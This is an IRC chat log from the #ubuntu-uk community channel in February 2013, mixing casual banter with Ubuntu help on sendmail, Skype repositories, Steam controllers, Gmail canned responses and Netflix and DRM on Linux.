<UbuntuBhoy> BTW is anhyone handy on Chromium OS
<UbuntuBhoy> ?
<AlanBell> can't help thinking that the double bed might as well be a single ;)
<UbuntuBhoy> lol
<UbuntuBhoy> there are some geeky chicks, not many, but some
<AlanBell> http://haphappy.com/2011/03/14/badass-batman-batcave-bedroom/ "This sweet batcave can be yours at rates as low as $50 for a three-hour block." classy.
<UbuntuBhoy> hahaha
<UbuntuBhoy> time for a bat bonk
<AlanBell> don't think I have ever been in a hotel that did an hourly rate
<UbuntuBhoy> you have not lived than Alan
 * UbuntuBhoy has never either
<redtape-renegade> UbuntuBhoy: Chromium OS ?? https://dl.dropbox.com/u/55128914/Attachments%20Email%20Xchat/J1qcNQl.jpg
<redtape-renegade> AlanBell: I'm getting the Â£20 that I have changed for 4x Â£5 so I can hopefully get a DVD per release :)
<Elex> Hello
<redtape-renegade> hi there...
<Elex> How can I get Windows on my computer when I have Ubuntu? Is there anyway to run a .exe file?
<AlanBell> hi Elex
<AlanBell> what is the exe file you want to run?
<redtape-renegade> Oh dear .. good luck Alan ...
<Elex> Setup.exe
<AlanBell> . . . ok, setup.exe for what?
<Elex> Windows
 * AlanBell is confused
<Elex> lol
<AlanBell> you want to run a windows application or you want to install windows?
<redtape-renegade> Elex what program are trying to run ??
<Elex> I'm trying to run Setup.exe inside the Windows folder to install it on my PC
<AlanBell> or do you want to replace ubuntu with windows, or run windows in a virtual machine?
<redtape-renegade> What does setup.exe refer to .. whast program are you installing ??
<Elex> I Want to replace Ubuntu
<AlanBell> ok, well just boot from the windows CD or DVD then, don't try to run it from within ubuntu
<AlanBell> but Ubuntu is awesome \o/
<redtape-renegade> Elex , What does setup.exe refer to .. what program are you installing ??
<Elex> umm
<Elex> I'm trying to install WIndows and when I double click it, it saids "An error occurred while loading the archive."
<AlanBell> redtape-renegade: I think that is the Windows installer for Windows itself, like Ubiquity
<redtape-renegade> oh Ok.
<Elex> When I reboot
<AlanBell> Elex: don't try to run it, you need to boot from the CD rather than booting from the hard disk
<Elex> Is there anything I need to press? I tried that earlier and Ubuntu just popped up
<redtape-renegade> .exe .. sounds like a ford escort for exeter for a second there ....
<AlanBell> depends on your computer
<xnox> AlanBell: "Windows Installer" is what Valve called "Wubi" recently in their marketing material.
<AlanBell> maybe pressing something like F8 whilst booting will bring up a boot menu
<AlanBell> xnox: nice!
<Elex> ok brb
 * xnox is not sure if that makes sense in this conversation or not....
<redtape-renegade> bye.
<Elex> :P
<directhex> Elex, official instructions: http://support.microsoft.com/kb/314458
<directhex> and your windows disc needs to be real, bootable windows media with the extra boot records - a data cd with an i386 folder on it is not enough
<neuro> wow, that looks like someone who is going to screw up their ubuntu install shortly :)
<AlanBell> bit curious how they came to have an Ubuntu install tbh
<neuro> could have been a preinstall ... second hand ... "friend put it on the PC for me" ...
<UbuntuBhoy> or just not his PC
<neuro> heh
<neuro> he did say "my computer" though
<neuro> (or she)
<neuro> changing the subject slightly from newcomers who have interesting ideas as to what binaries can be executed on their ubuntu installs ...
<neuro> anyone seen this? http://arstechnica.com/tech-policy/2013/02/python-v-python-software-foundation-fights-for-trademark-in-eu/
<popey> yes, a million times
<neuro> i only just read about it
<neuro> bit disappointed that it's a uk hosting company trying it on
<popey> yeah
<neuro> although interestingly ...
<neuro> the article mentions "python.co.uk" as being registered by pobox
<neuro> but popping that into a browser takes you to an apache error page
<neuro> and checking the IP shows rDNS of a python.org host
<neuro> that's odd
#ubuntu-uk 2013-02-19
<knightwise> morning everyone
<knightwise> they big day today eh !
<bigcalm> Good morning peeps :)
<bigcalm> In Thunderbird, is there a quick way to turn on threading in all folders? I don't want to have to do it manually for several hundred folders myself
<andylockran> morning sportsfans!
<bigcalm> Hi andylockran
<andylockran> how goes things?
<bigcalm> Trying out a wrist brace, so hopefully a less painful day ahead :)
<bigcalm> You?
<andylockran> Cycled in for the first time in over a week; London was looking particularly 1880s this morning
<andylockran> fog on the water and very cool
<bigcalm> I'm a fan of foggy mornings. Travelling to work is something that I miss. Making do with looking at it out of my window
<JamesTait> Good morning, people! :-D
<bigcalm> Morning JamesTait
<JamesTait> bigcalm, and in one simple sentence you've convinced me that you're insane. :-P
<JamesTait> Actually it was three sentences, but whatever. ;)
<JamesTait> How are you, bigcalm? Apart from bonkers, that is. :-P
<bigcalm> JamesTait: I'm trying to work out which 3 sentences make me insane :)
<JamesTait> 09:09 < bigcalm> I'm a fan of foggy mornings. Travelling to work is something that I miss. Making do with looking at it out of my window
<JamesTait> I'm looking at it out of my window and thinking "I'm glad I don't have to go out in that to get to work". ;)
<bigcalm> Hehe
<bigcalm> I drove to work in a warm car in the past :)
<JamesTait> Horses, courses, etc.
<JamesTait> And now?
<bigcalm> JamesTait: I work from home
<JamesTait> bigcalm, I gathered that much. ;) I was expecting you to say something like "Instead of my warm car, I work from a cold shed with no heating." :-P
<bigcalm> Heh
<bigcalm> I do indeed enjoy my cosy office. Helps having a cat to keep your lap warm now and then
<knightwise> crap
<knightwise> anyone know how "reconfigure" sendmail ?
<knightwise> like "re-run" the wizzard screen you get in the beginning ?
<directhex> you don't. sendmail is an abomination from the 1980s
<dwatkins> knightwise: dpkg --reconfigure sendmail?
<directhex> however, if you insist, dpkg-reconfigure -plow sendmail
<dwatkins> ah yes
<knightwise> unknown option reconfigure ? ? ,
<dwatkins> sorry, my bad - I misremembered the syntax
<dwatkins> directhex is correct, knightwise
<knightwise> thanx.
<JamesTait> bigcalm, I do appreciate the odd visit from my cats, but not when it's the litter tray they're visiting.
<bigcalm> Heh
<bigcalm> JamesTait: we're still renting, otherwise I'd have a cat flap installed. Kitties should be free to come and go I think
<JamesTait> The triumphant look as they turn away, no doubt thinking to themselves "I'll just leave that with you then."
<JamesTait> bigcalm, I totally agree, they're outdoor animals. But we did it wrong somewhere along the way, and our cats like the indoors, get curious about the outdoors, but get lost and scared when they go out there. :(
<dwatkins> bigcalm: could you install one temporarily with cable-ties or something?
<directhex> we have an exclusively indoor cat
<bigcalm> dwatkins: eh? How would that work? One has to cut a hole in the door
<bigcalm> Have Valve been adding more games to the Linux discount section?
<dwatkins> bigcalm: just musing about using a window or something
 * bigcalm grumbles as he forks out another 16 quid
<dwatkins> heh
<JamesTait> directhex, we have five exclusively indoor cats (well, exclusive apart from the occasions when they sneak out of on open door, whereupon the aforementioned "lost and scared" routine kicks in) and one outdoor cat, who has commandeered the garage.
 * dwatkins wonders how long it'll be until there are games exclusively for linux on Steam and how much of an uproar this might cause
<bigcalm> That's a lot of kittie litter!
<bigcalm> dwatkins: Tux Racer?
<bigcalm> Aww, not on steam ;)
<dwatkins> bigcalm: games which people would pay for :-p
<directhex> dwatkins, it won't happen unless someone is trying to make a statement
<directhex> dwatkins, there are some games with linux but not mac ports though
<dwatkins> directhex: yeah, true - I hope it doesn't in a sense, and that Wall three OSs can compete fairly and on an exual footing
<dwatkins> *equal
<directhex> but the only game on steam not available for windows is Call of Duty: Black Ops - Mac Edition
<dwatkins> that's kinda understandable
<dwatkins> not sure why they had to make a separate version, mind
<directhex> money.
<directhex> it's the only non-steamplay game for mac
<directhex> the game, and the dlc for it, cost different amounts to the PC game
<dwatkins> silly DLC
<bigcalm> At 3.8MB/s, this is obviously the right time of day to be installing games on Steam
<bigcalm> My storage does not look forward to the day VirginMedia upgrades my cable connection
<BigRedS> it is never the right time of day to install games on steam
<BigRedS> the steam servers are connected to the internet with a bit of wet string.
<bigcalm> It's maxing my connection while fetching Serious Sam 3
<BigRedS> oh!
<BigRedS> It took about a week for me to get serious sam
<bigcalm> I wonder at what point VirginMedia will cap my ass. I mean bandwidth
<mungbean> virgin media fail
<bigcalm> How?
<directhex> i get a good 8M down via wired, and 200k via wireless
<directhex> i don't think steam linux linux wireless
<BigRedS> just by being on Virgin I'd imagine
<bigcalm> When it works, it works well. I complain a lot less about VM these days :)
<bigcalm> Oh no. Sudden urge for a sausage and egg bap with brown sauce
 * bigcalm looks at his banana
<neuro> NOOOOOOOOOOOOOO
<neuro> mad craving for roll and square sausage initiated!!
<bigcalm> Is the urge infectious?
 * Myrtti makes poached eggs, scrambled eggs, warms up some baked beans, fries some mushrooms with garlic, pops the kettle on, slaps some sausages on the Foreman and puts the toasts down
<neuro> THE URGE
<neuro> Myrtti: pics or it didn't happen
<bigcalm> Heh, odd
<Myrtti> neuro: might skip mushrooms and beans today tbh
<neuro> all i've had this morning is a bowl of froot loops about 4 hrs ago
<neuro> Myrtti: i believe you are food trolling us
<Myrtti> okok, hold on, I'll finish what I'm doing now and go make it and put some pictures up
<neuro> NOOOOOOOOOOOOOO!
<neuro> right, that's it, don't care if my phone says it's -3C outside, i'm going to out to get some sausages!!!
<popey> Morning
<neuro> is it?
<neuro> IS IT?
<neuro> oh, it is
<neuro> SAUSAGES!
<SuperMatt> Does anyone think the unity messaging menu would be a good place for a nagios monitor?
<popey> i see steam now has an indicator \o/
<andylockran> woop
<SuperMatt> yuppers
<popey> pffft, Lume is a flash game
<bigcalm> Yup
<popey> ah well, at least they bothered to """port""" it âº
<andylockran> IS zombies versus plants available?
<SuperMatt> not yet
<SuperMatt> at least, not that I've seen
<mungbean> is plants/zombies the same game as that flash one?
<SuperMatt> I think so
<mungbean> i.e. lame after 1 minute
<SuperMatt> I don't know about that
<SuperMatt> it's kinda fun
<mungbean> must be a different game then
<SuperMatt> http://static-www.ec.popcap.com/www.popcap.com/sites/www.popcap.com/files/games/pvz/screenshots/pvz3.jpg < this one
<mungbean> yeah that one :S
<directhex> i don't know if popcap will get on board
<directhex> iirc ea own them now
<dwatkins> EA are just in it for the money
<directhex> which means they need a business case for every "port" no matter how trivial
<dwatkins> Their customer service is legendary in its awfulness.
<dwatkins> Perhaps if they move to subscription-based gaming it'll improve...
<SuperMatt> but didn't ea say two years ago that they're dedicated to bringing games to linux?
<SuperMatt> I mean, sure, they only release two html games into software centre, and did nothing after that, but surely their words speak louder than their actions
<directhex> EA will not be the first current gen AAA publisher to ship linux binaries.
<directhex> i reckon activision will be.
<directhex> meanwhile the scale of the indies releasing to steam will get bigger, and there'll be some B-tier publishers like paradox doing linux a lot more
<directhex> sega will be on board soon
<directhex> in a small way anyway
<popey> maybe my prediction will be right then âº
<directhex> hm?
<directhex> which prediction?
<popey> I predicted at the end of last year that "Number of Linux Games on Steam will increase from 1.8% to 20% of Windows games by end of 2013"
<directhex> i don't see 20% by the end of 2013
<directhex> but i guarantee 50% of the top 10 most popular games by the end of 2013
<andylockran> just over 5h to the tablet announcement
<popey> \o/
<andylockran> is there an #ubuntutabletreleaseparty channel?
<directhex> indies will continue to show interest. many existing games won't get shipped there though, e.g. trine 1
<popey> #ubuntu-tablet has existed for about a year
<dwatkins> an Ubuntu table? that would be awesome... ;)
<SuperMatt> has anyone in here checked the ubuntu subreddit this week?
<bigcalm> I wonder if it'll be an HTC tablet ;)
<SuperMatt> since thursday the number of posts EXPLODED
<directhex> i'd like dungeon defenders to ship, it's useless without the ability to play with my steam friends
<mungbean> SuperMatt: was thuyrsday the steam client release?
<SuperMatt> yup
<dwatkins> exploded? Became very popular?
<SuperMatt> yup
<andylockran> anyone fancy a spread on how long it'll take (from release) for the ubuntu phone image to work on devices other than the pre-announced 2?
<popey> depends..
<popey> you talking about additional images from us, or external community ports?
<SuperMatt> I would love to use it on my s3
<daubers> andylockran: Which are the 2 pre-announced?
<popey> daubers: GN and N4
<daubers> Ah, the google phones then
<SuperMatt> yuppers
<mungbean> does anyone (directhex) know if the HP touchpad can display on a HDMI monitor via the usb port?
<daubers> I'm tentativley waiting to see what it's like to see if its worth me shifting my (very android embedded) phone/tablet platform
<directhex> doubt it
<popey> yeah not yet
<popey> its a developer preview
<popey> not a daily use phone OS yet
<popey> although I believe Mark has it as his daily phone
<SuperMatt> it's be rude not to
<popey> hope he doesn't leave it in a bar
<SuperMatt> hah
<SuperMatt> but then you could sue gizmodo
<daubers> If it means I can ditch java, I'll be a happy bunny indeed
<dwatkins> Java is used on too many servers, imho.
<SuperMatt> I think java is going to die a death, like flash, but it's going to be a lot slower
<SuperMatt> and we all know that the flash death has been painfully slow already
<mgdm> I don't think they're the same at all
<mgdm> sure, flash in browsers is dying
<mgdm> err, Java
<mgdm> but it never really took off. On server-side apps though Java and especially the JVM is still very much a hot topic
<SuperMatt> agreed
<AlanBell> java on servers will die like windows on servers
<SuperMatt> I was mostly refering to in the browser
<directhex> with java and flash gone, vrml will rise!
<dwatkins> SuperMatt: yeah, it's just a shame it's still there
<AlanBell> very very very slowly, everyone will know it is a bad idea, but a bit too invested in it to change
<dwatkins> I'm a bit concerned that HTML5 will end up being ridden with binary issues due to DRM, too.
 * AlanBell likes vrml
<mgdm> until people figure out a replacement for, say, Lucene based stuff like Solr and ElasticSearch, Java is not going anywhere
<SuperMatt> You know, I don't mind DRM being put in to HTML5. As long as chrome or firefox support it, I'll be able to see DRMed content without having to install a plugin and/or dropping in to windows
<bigcalm> But what language should Minecraft be ported to?
<dwatkins> SuperMatt: I suspect most DRM will be Windows and Mac only even with HTML5.
<dwatkins> and there's no change of an ARM port
<dwatkins> *chance
<SuperMatt> dwatkins: but how? If the browser has stuff built in for handling the drm, then everything *should* be fine
<dwatkins> SuperMatt: the problem is the DRM stuff can't be open source
<AlanBell> l
<AlanBell> oops
<SuperMatt> dwatkins: of course, you're right there
<SuperMatt> but I imagine that any work google or firefox would do ensure their browsers work, would be ported to linux
<AlanBell> it isn't about open source or software freedom
<popey> bigcalm: objective c!
<dwatkins> for the larger providers, I imagine so, but there will be other sites which require DRM which will not bother porting to Linux
<popey> (already done for Minecraft PE on iOS)
<AlanBell> compiling stuff is just for obfuscation
<AlanBell> for DRM
<AlanBell> it could be written in javascript, the only problem is that more people understand javascript than assembler
<dwatkins> yeah, and the keys are easier to extract
<dwatkins> ultimately it comes down to the rights owners insisting their content be protected from being given away, played after a certain time etc.
<dwatkins> so even the BBC has to implement DRM so that doesn't happen
<popey> directhex: do you have any experience of using console controllers with steam games?
<SuperMatt> I do
<popey> also, on linux
<SuperMatt> the xbox one works nicely
<dwatkins> popey: I've used my xbox 360 controller on a few Steam games
<SuperMatt> I haven't tried 6axis
 * popey has a gamecube one on usb
<popey> how do you hook up the xbox one?
<davmor2> Morning all
<mgdm> Xbox ones are USB with a different connector, IIRC - I thnk you get adapters
<SuperMatt> my xbox one is usb
<popey> eh, 360 is wireless
<directhex> popey, i use a 360 controller on windows
<Paladine> popey, I launched my podcast, my god it is hard work, how long does it take to get the process down pat?
<SuperMatt> popey: you can buy wired ones, that's what I use
<popey> ahhh
<popey> directhex: how is it connected?
<popey> Paladine: there's four of us which makes it easier
<dwatkins> popey: yeah, sorry - I use a wired one
<popey> Paladine: and we do it live, and don't edit after
<Paladine> took me a full day to do a 33 minute episode
<brobostigon> morning everyone.
<popey> Paladine: yeah, our first episode took all day to record and another day to edit
<BigRedS> good morning!
<popey> which is why we don't do that anymore
<davmor2> popey: there is a nice ps3 remote app on lp that will connect a remote
<Paladine> yeah mine is pre-recorded so I have to do a lot of post recording editing
<popey> we pre-record interviews, but "as live"
<popey> i.e. if you fluff your line, just carry on
<Paladine> I had a 17 minute interview in my first episode
<Paladine> and I have committed myself to releasing a new ep each week, which may have been a mistake lol
<bigcalm> So this is likely to work with Steam games? http://www.amazon.co.uk/Microsoft-Xbox-Common-Controller-Windows/dp/B004JU0JSK/ref=sr_1_3?ie=UTF8&qid=1361271670&sr=8-3
<SuperMatt> for sure
 * popey adds to wishlist
<SuperMatt> I would definitely suggest an official xbox controller
<popey> thanks chaps
<bigcalm> popey: There's a wireless version http://www.amazon.co.uk/Microsoft-Xbox-Wireless-Controller-Windows/dp/B004JU0JSA/ref=pd_cp_vg_h__2
<bigcalm> popey: don't know if that'll work without faffing though
<popey> been mashing the keyboard playing Titan Attacks
<bigcalm> Titan Attacks doesn't work for me :'(
<popey> should work, it's got a dongle with it
<popey> prefer one without wires
<mungbean> my joulo came today
<popey> Paladine: we're moving to recording every other week, and putting a show out weekly
<popey> so record for 1 hours, but put out half our each week
<popey> mungbean: yay
<mgdm> popey: http://en.wikipedia.org/wiki/Xbox_360_accessories#Wireless_Gaming_Receiver
<Paladine> popey, cool. I am doing an extended one at the end of each month with a co-presenter
<Paladine> the hardest part for me was deciding what issues to cover, certainly no danger of not being enough content
<Paladine> I had to cut 3 issues from the final recording
<bigcalm> Rjd2 \o/
<directhex> popey, the specific "xbox 360 wireless controller for windows" boxes contain a wireless pad, and a USB dongle (capable of tracking up to 4 pads), for the same price as a wireless pad on its own
<Myrtti> neuro: http://www.flickr.com/photos/myrtti/8487962247/
<dwatkins> AlanBell: there's an article on hackaday right now relevant to our previous discussion in a sense
<dwatkins> the HDMI one
<popey> thanks directhex
<SuperMatt> ok, since the indicator whitelist has been removed, how do we get a skype indicator?
<mungbean> directhex: see my question about hp touchpad?
<popey> skype works here SuperMatt
<popey> it's right next to my steam indicator :D
<SuperMatt> are you on u+1?
<popey> I am on raring
<SuperMatt> what method did you use to install it?
<popey> install what?
<SuperMatt> skype
<SuperMatt> software centre or download?
<popey> well, I have a deb installed
<popey> ii  skype          4.1.0.20.0-0 amd64        client for Skype VOIP and instant
<brobostigon> i suspect skype is in the partner repos.?
<popey> alan@deep-thought:~/Downloads$ ls -ltrha skype*
<popey> -rw-rw-r-- 1 alan alan  28M Jun 14  2012 skype-ubuntu_4.0.0.7-1_amd64.deb
<popey> http://paste.ubuntu.com/1681424/
<popey> ^^ partner repo
<SuperMatt> huh, partner repo wasn't enabled for me
<popey> once the car is MoT'd I have permission to buy a new telly
<SuperMatt> \o/
<brobostigon> as in "deb http://archive.canonical.com/ubuntu buntycodename partner"
<SuperMatt> yup
<brobostigon> missed out a / after ubuntu.
<popey> well, you can just search for skype in usc and it should do all that for you
<SuperMatt> now I have a proper indicator \o/
<SuperMatt> thanks dudes :>
<popey> \o/
<brobostigon> o/
<bigcalm> Hazzar
<brobostigon> \o/
<popey> http://eu.fab.com/sale/5490/product/83564/
<popey> bet sophie would like one in her room
<popey> but not at 150 notes
<mgdm> IIRC, IKEA do something sort-of similar
<mgdm> probably not quite 150 notes
<neuro> Myrtti: i just had two rolls with square and links sausage, and a lovely mug of fresh soup
<neuro> but your cup of tea looks nice :)
<dwatkins> mmm, tea
<popey> oh golly Myrtti looks nom
<popey> is that a poached egg?
<neuro> popey: just reading back about joypads
<neuro> you defo want the windows one with the usb>wireless doobrie
<Myrtti> popey: indeed it is.
<neuro> i'd recommend getting a play'n'charge kit
<neuro> a rechargeable battery pack with a 3m usb charging cable
<popey> ooh
<neuro> if you don't care about wireless, there's a wired windows x360 joypad with a similarly long usb cable
<neuro> if you ever find yourself playing windows games, you may find they have specific modes to cater for the x360 pad
<neuro> i noticed crisis 3 actually brings up the A/B/X/Y buttons on screen when using it
<kaushal> Hi
<kaushal> is there a way to remember subject line in chrome browser for gmail?
<neuro> remember the subject line?
<kaushal> i have enabled autofill but somehow it does not cache the subject line
<kaushal> neuro: yeah
<neuro> autofill is for regularly used personal details
<kaushal> meaning similar subject content
<kaushal> For example when i raise a support email which has constant subject line has "Cust ID :- 1424 ....."
<neuro> just hit reply?
<kaushal> neuro: can it be handled in chrome or firefox browser on Ubuntu 11.10
<neuro> or am i missing something
<kaushal> neuro: I am composing a new email
<neuro> knowing the context might be useful in suggesting a solution :)
<kaushal> neuro: ok
<kaushal> neuro: so usually i write email to Data Center support team with the same subject line ""Cust ID :- 1424 PIN xxxx"
<neuro> oh, i see
<kaushal> i do not have to keep writing again and again
<mgdm> 'plz to reboot server kthx'
<mgdm> 'plz to reboot correct server this time kthx'
<kaushal> if it is cached it saves time
<neuro> go to settings
<neuro> click labs
<neuro> enable Canned Responses
<kaushal> neuro: ok
 * popey wondrs if that was a neuro canned response
<popey> +e
<neuro> :)
<neuro> I don't know what you're talking about
<popey> neuro: http://www.amazon.co.uk/Duracell-Play-Charge-Kit-Black/dp/B003ZUPLGK/ref=pd_ecc_rvi_cart_4
<popey> that?
<neuro> I don't know what you're talking about
<popey> 11:36:35 < neuro> i'd recommend getting a play'n'charge kit
<neuro> I don't know what you're talking about
<popey> ahhh
<popey> i see
<neuro> :)
<neuro> http://www.amazon.co.uk/Play-Charge-Kit-Black-Xbox/dp/B003VD56K2
<neuro> that's the kosher one
<neuro> you probably want that
<neuro> it's cheaper too
<popey> ta
<dwatkins> thanks for reminding me, I need a new battery/play'n'charge kit
<neuro> i only got mine last year after rattling through AAs for five years
<dwatkins> My C3PO controller uses up AA batteries, which is probably slightly worse for the environment than a rechargeable battery.
<neuro> also got myself a 3m USB>Mini-USB cable for my PS3 controller
<neuro> does your c3po controller get all prissy and upset when you change batteries?
<neuro> "wait, what have you done, you great furry oaf, you've put the batteries in BACKWARDS!"
<bigcalm> Heh
<davmor2> So I got skyfall, it reminds me of from russia with love, lots of guns and fights very little tech.  I loved it :)
 * mungbean waits for it to be on telly
<MartijnVdS> davmor2: also, the actor who plays Bond now looks a lot like Putin imho
<MartijnVdS> davmor2: http://www.sofeminine.co.uk/celebrities/album882056/celebrity-look-alikes-stars-and-their-doppelgangers-22026454.html
<andylockran> ooh, the ubuntu page has switched to a ticking timer
<andylockran> davmor2: I hated skyfall
<andylockran> :(
<popey> http://www.newscientist.com/article/dn23183-3dprinting-pen-turns-doodles-into-sculptures.html
<popey> cunning
 * bigcalm turns noodles into lunch
<popey> http://www.kickstarter.com/projects/1351910088/3doodler-the-worlds-first-3d-printing-pen
<davmor2> popey: oooohhhhhhhh
<popey> haha, trending towards half a million USD
<popey> http://www.kicktraq.com/projects/1351910088/3doodler-the-worlds-first-3d-printing-pen/
<BigRedS> Anyone know where Zimbra stores its list of banned file extensions? My google-fu is failing
<MartijnVdS> AlanBell will know
<AlanBell> no idea, don't use zimbra
<AlanBell> we don't really support email systems, people get all upset about them failing, and they want it all to be free
<BigRedS> haha
<BigRedS> yeah, we get a lot of that "But Gmail is free!" "okay, use Gmail"
<DJones> I'm getting fed up with the MS info emails/spam (delete as applicable) about hotmail becoming outlook.com and messenger being rolled into skype, its a good job I only use my hotmail account for signing up to things I expect to get spam from
<popey> i used mailinator the other day for that, works well
<DJones> Thats quite a good idea
 * DJones checks cia@mailinator.com
<awilkins> I had expected this channel to be a hotbed of tablet speculation
<andylockran> paracetamol/ibuprofen?
<awilkins> Tick, tock, tablet time!   http://www.ubuntu.com/
<popey> we did that yesterday awilkins âº
<awilkins> Bah
<awilkins> Yesterday I had to pick up the exploded pieces of servers
<popey> feel free to continue the speculation
<popey> less than 3 hours to go
<awilkins> ICT have also decided it's a great idea for our windows desktops to only listen to localhost for services
<awilkins> Including Remote Desktop
<awilkins> (d'oh)
<mgdm> haha
<awilkins> Also including IIS, file sharing, NAT ports on virtual servers
<awilkins> And the TCP ports on our desktop management tools and remote support VNC servers
<mgdm> :-D
<mgdm> do you get to explain why that's really not that great an idea?
<awilkins> I get the security angle. But it's like the adage that the only secure computer is one that's powered off in your filing cabinet. It's not useful.
<popey> http://techcrunch.com/2013/02/19/htc-one-final-press-images-leak-ahead-of-todays-launch-event/
<awilkins> I filled in a support ticket. I suppose my opinion probably carries a bit more weight now so when that fails to bear fruit I can make disgruntled noises at the security manager
<awilkins> Ooh, 64GB storage option
<awilkins> Wonder how rootable it is
 * awilkins is in the market for a new phone because his N900 is lovely but the software doesn't really cut it anymore
<funkychic> funkychic
<funkychic> hey
<mgdm> http://i.imgur.com/ABBpg64.png oh hello :-)
<dwatkins> now only 2.5 hours to go :)
<awilkins> Ubuntablet! Tabluntu!
<dwatkins> htcbuntu!
<awilkins> Take one letter out of that and you have a dangerously bad product name
<dwatkins> touchbuntu would be pretty bad too, combining the HTC Touch interface with Ubuntu
<awilkins> I was hoping it was just "Ubuntu for Nexus 7". Which would give me an excuse to get one.
<awilkins> But I think someone already did that
<andylockran> awilkins: can you run an ssh tunnel out of the machine for rdp?
<dwatkins> it might be specifically modified for a tablet, though, which would be neat
<awilkins> andylockran, Dunno. Synergy works fine - so it's not all servers
<awilkins> Actually, Synergy is the client in this case
<awilkins> Doh
<DJones> The one thing that puts me off having an Ubuntu tablet is that if I had a tablet, one reason to use it would be to have SkyGo on it, but SkyGo doesn't work on Ubuntu, but does on selected Andrid tablets
<popey> ..yet..
<awilkins> Is SkyGo Skype Wifi?
<popey> same could be said for (insert_name_of_killer_app) by anyone really
<popey> no, Sky TV
<awilkins> Ah.
<Myrtti> DJones: or Netflix, or whatnots
<dwatkins> Angry Birds
<awilkins> Netflix would be nice
<ubuntubhoy> I want ubuntu Tablet to finally get touchscreen working as it should on my netbook
<awilkins> My main motivation for any tablet would be Netflix
<dwatkins> a tablety isn't considered ready for the mainstream until Angry Birds runs on it
<dwatkins> *tablet
<SuperMatt> rofl
<bigcalm> I thought Angry Birds ran on everything
<SuperMatt> technically yes
<dwatkins> everything people buy in large numbers, bigcalm ;)
<popey> everything that currently exists on the market, yes
<mgdm> it doesn't run on my C64 :(
 * DJones hopes popey's ..yet.. is a sign that Sky & Canonical are working on something
<popey> mgdm: sounds like a challenge
<dwatkins> mgdm: perhaps not, but Doom does
<bigcalm> Hehe
<shauno> it really needs a netbsd port so I can install angry birds on my microwave
<popey> DJones: no, a sign that I wouldn't write off a tablet platform _before_ it's out
<dwatkins> as does Guitar Hero ;)
<awilkins> I'm guessing it's more of a political challenge than a technical one
<popey> Note Unity3D now exports to Linux, Android (as well as iOS, Xbox, wii, PS3, Windows)..
<awilkins> Like Netflix clearly works on Linux because Android runs it, but they won't release a Linux desktop client
<SuperMatt> and chromebooks can run it
<mgdm> dwatkins: \o/
<popey> AIUI chrome browser can use it too
<popey> not just chromebooks
<dwatkins> this reminds me, I should install Mame and get my Competition Pro joystick out of storage
<DJones> popey: Ah, I'm not writing it off, it would be a difficult choice of which to get in an Android/Ubuntu tablet
<DJones> I would prefer an Ubuntu tablet by choice for consistency
<popey> \o/ mame
<dwatkins> I've not used Mame in a while, will it run ok on 64-bit Ubuntu on my core2duo quad-core machine? ;)
<awilkins> MAME with Marble Madness as the killer app for tablet accellerometers
<dwatkins> seriously, will it be alright on a 64-bit system?
<popey> hmm, nope, netflix doesn't work in chrome on ubuntu â¹
<DJones> !netflix
<awilkins> popey, There's a PPA which bundles all the Wine gubbins you need to make it work
<lubotu3> If you use Netflix, there is an unofficial solution for using it in Ubuntu detailed in http://www.compholio.com/netflix-desktop/ - bug reports in https://bugs.launchpad.net/netflix-desktop
<dwatkins> popey: even with wine?
<awilkins> The Wine thing uses Xulrunner AFAIK
<awilkins> Or maybe just firefox
<DJones> The bots link uses a customised version of wine from memory
<popey> yeah, i was trying without wine
<dwatkins> I thought Netflix required Silverlight.
<DJones> I can't remember seeing anybody mention having any success without wine
<dwatkins> I'm guessing there's no native Silverlight for Ubuntu.
<mungbean> dwatkins: how does it work on chromebook?
<dwatkins> mungbean: oh, didn't know it did, interesting...
<popey> it uses flash on a chromebook
 * dwatkins is saying nothing about Flash 
<funkychic> hey
<dwatkins> hi funkychic
<popey> hello
<funkychic> hey
<davmor2> popey: I'm betting it is a heavily moded version which would explain google taking ownership of it for them and errrrr linux
<funkychic> what are u doing
<funkychic> guys
<mungbean> not sure if hexxeh's chromium builds support it
<ubuntubhoy> nope
 * dwatkins is working, honest
<ubuntubhoy> no mp3 in his builds now
<ubuntubhoy> or any external plugins
<funkychic> bye
<dwatkins> was it something we said?
<funkychic> im going now to add more chat stuff
<AlanBell> bug 1130121
<lubotu3> bug 1130121 in ubuntu-website-content "Ubuntu is commercial, but not proprietary" [Undecided,New] https://launchpad.net/bugs/1130121
<AlanBell> ooh, title is backwards
<AlanBell> no, that is right
<awilkins> There is Moonlight for Ubuntu, but MS refuse to license the DRM component
<awilkins> Hence no Netflix compatible *light plugin
<dwatkins> sounds like the shape of things to come with HTML5 DRM.
<directhex> moonlight died years ago
<awilkins> Probably because it had no DRM :-)... Silverlight is pretty dead also
<awilkins> Only Netflix and MS Press Releases use it AFAIK
<popey> nope
<dwatkins> probably why they're trying to get DRM into HTML5
<popey> lots of people use it
<popey> sadly
<awilkins> popey, I guess I just don't frequent those kinds of websites :)
<dwatkins> thing is, there's not much of an alternative as far as I can tell
<dwatkins> for DRM'ed content, that is - although personally I think they should just stop using DRM entirely
<directhex> awilkins, silverlight largely failed to take off. but it didn't help that it was basically a half dozen paid employees and zero open source community people trying to reimplement the work of hundreds
<mungbean> "Thatâs because while Netflix is a web app (just like YouTube and Amazon Instant Video), the company relies on Google Native Client software to stream video to Chrome OS devices. But right now Native Client doesnât support ARM-based chips."
<popey> it uses flash on the arm chromebook
<mungbean> why can't we get the google client running on ubuntu then?
<directhex> special libnetflixlala.so plugin
<directhex> locked to chomebook devices
<mungbean> scumbag netflix
<dwatkins> Netflix are just doing what they can to adhere to the licenses they have with the content providers.
<awilkins> Indeed. Scumbag MAFIAA
<dwatkins> i.e. restrict access
<awilkins> I'm sure Netflix would LOVE more customers
<awilkins> They don't lose out from having 5% larger potential customer pool
<mungbean> whats the difference between ubuntu client and chromebook client?
<awilkins> There isn't an Ubuntu client
<dwatkins> indeed, awilkins - I had a similar discussion recently about the youtube 'Smurf' bug, in that the Linux desktop market is too small for it to get fixed
<mungbean> "potential" ubuntu client
<mungbean> dwatkins: its fixed
<mungbean> it was a nvidia bug
<awilkins> dwatkins, Yes, I think it's fixed too
<dwatkins> mungbean: it was? wow
<awilkins> Although I may not have re-enabled hardware accel yet
<mungbean> only affected nvidia proprietary driver
<awilkins> Aha, my /etc/adobe/mms.cfg file is still named "mms.cfg-f**k"
 * awilkins flips it over and tries it out
<awilkins> Hooray, Nixie-pixel is still pink, but only eating 15% CPU time
 * awilkins flips back to see what CPU impact is
<dwatkins> excellent, I'm really glad to hear it's working, awilkins
